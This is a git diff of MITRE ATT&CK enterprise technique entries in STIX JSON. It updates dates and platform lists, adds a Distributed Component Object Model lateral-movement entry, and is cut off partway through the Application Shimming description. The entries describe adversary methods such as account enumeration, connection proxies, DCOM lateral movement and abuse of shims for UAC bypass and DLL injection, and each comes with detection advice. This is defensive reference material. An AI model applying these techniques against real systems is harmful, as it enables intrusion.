+            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -27,6 +27,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "API monitoring",
                 "Process command-line parameters",
@@ -36,21 +39,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea.json b/enterprise-attack/attack-pattern/attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea.json
index f1d4dd1692..beb8b7cce1 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec92f96b-d358-4760-b0fb-5a17b193a47d",
+    "id": "bundle--5563451d-cba2-4ed2-8cb4-df398ae3d8f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:08.479Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Connection Proxy",
-            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
+            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -48,21 +48,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830.json b/enterprise-attack/attack-pattern/attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830.json
index ad84a33e9b..a54f041d2e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c74ec4a5-1693-45b4-ae58-d9d6e2690426",
+    "id": "bundle--29348eff-d384-4f00-af10-218ac70ce2ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.546Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Command-Line Interface",
-            "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
+            "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,20 +43,8 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7.json b/enterprise-attack/attack-pattern/attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7.json
new file mode 100644
index 0000000000..dbf0e79f86
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7.json
@@ -0,0 +1,88 @@
+{
+    "type": "bundle",
+    "id": "bundle--ac20f6b6-db10-4c8f-b6a1-0ee280352400",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Distributed Component Object Model",
+            "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "lateral-movement"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1175",
+                    "external_id": "T1175"
+                },
+                {
+                    "source_name": "Microsoft COM",
+                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+                },
+                {
+                    "source_name": "Microsoft Process Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft System Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
+                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
+                },
+                {
+                    "source_name": "Enigma MMC20 COM Jan 2017",
+                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
+                },
+                {
+                    "source_name": "Enigma DCOM Lateral Movement Jan 2017",
+                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
+                },
+                {
+                    "source_name": "Enigma Excel DCOM Sept 2017",
+                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
+                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
+                },
+                {
+                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
+                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
+                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Authentication logs",
+                "DLL monitoring",
+                "Packet capture",
+                "Process monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9.json b/enterprise-attack/attack-pattern/attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9.json
index b538f52170..77cd6aded0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8b891910-7f78-4a86-bc0d-f6c3fc0ff7b2",
+    "id": "bundle--68013194-8da1-4ede-9ada-2f5fb1b3350f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:29.458Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Exfiltration",
-            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
+            "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -34,21 +34,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69.json b/enterprise-attack/attack-pattern/attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69.json
index 5f4ee42381..39c74c5100 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5afed212-6c9f-46cd-8fcd-15b8435bc0c9",
+    "id": "bundle--935913e7-d3c2-4d21-a8d5-dad1024907d3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.892Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal on Host",
-            "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
+            "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,21 +38,9 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18.json b/enterprise-attack/attack-pattern/attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18.json
index eb2c37e9da..e5dbb2854b 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cea50dd1-b3a1-4d9f-a610-0d0503348ff1",
+    "id": "bundle--da650fb6-2795-4aab-b3d1-43754a0a3baa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:04.710Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File and Directory Discovery",
-            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
+            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,21 +43,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566.json b/enterprise-attack/attack-pattern/attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566.json
index be4dcc1827..9948db30a6 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0fcb38d-8b44-4590-a9df-a9aaf5cfef37",
+    "id": "bundle--b7863368-8f17-43f1-afe3-17d0a5844a3d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,14 +8,10 @@
             "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Shimming",
-            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator\n\nRemote Support: No",
+            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 